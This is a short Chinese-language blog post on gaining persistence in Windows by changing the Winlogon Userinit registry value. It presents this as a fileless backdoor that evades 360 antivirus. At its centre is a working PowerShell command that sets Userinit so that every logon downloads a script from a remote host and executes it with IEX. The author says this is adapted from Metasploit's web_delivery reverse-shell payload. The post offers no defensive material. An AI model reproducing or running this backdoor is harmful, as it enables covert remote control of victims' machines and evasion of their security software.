使用userinit实现持久控制

前言


前段时间看了3gstudent师傅的文章,这篇文章中提到使用Logon Scripts实现登陆时运行脚本,并且这种方法可以绕过360,达到免杀的效果。复现的过程中我发现这种方法需要在磁盘上留下文件,隐蔽性不佳。通过查找相关资料,我找到了另一个注册表键,使用此键留下的后门同样可以bypass 360,并且可以不留下任何文件。

相关注册表键


1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

Powershell实现

1
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -noexit -nop -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $T.downloadstring('\\192.168.143.129\bfvaNe\test.dll');"

注:powershell反弹shell的payload参照msf中的web_delivery

缺陷

需要管理员权限,因此如果单纯地想绕过360的话,这种方法显得比较鸡肋

总结

低权限下使用logon scripts, 权限较高的话也可以试试使用userinit作为一种无文件后门的方式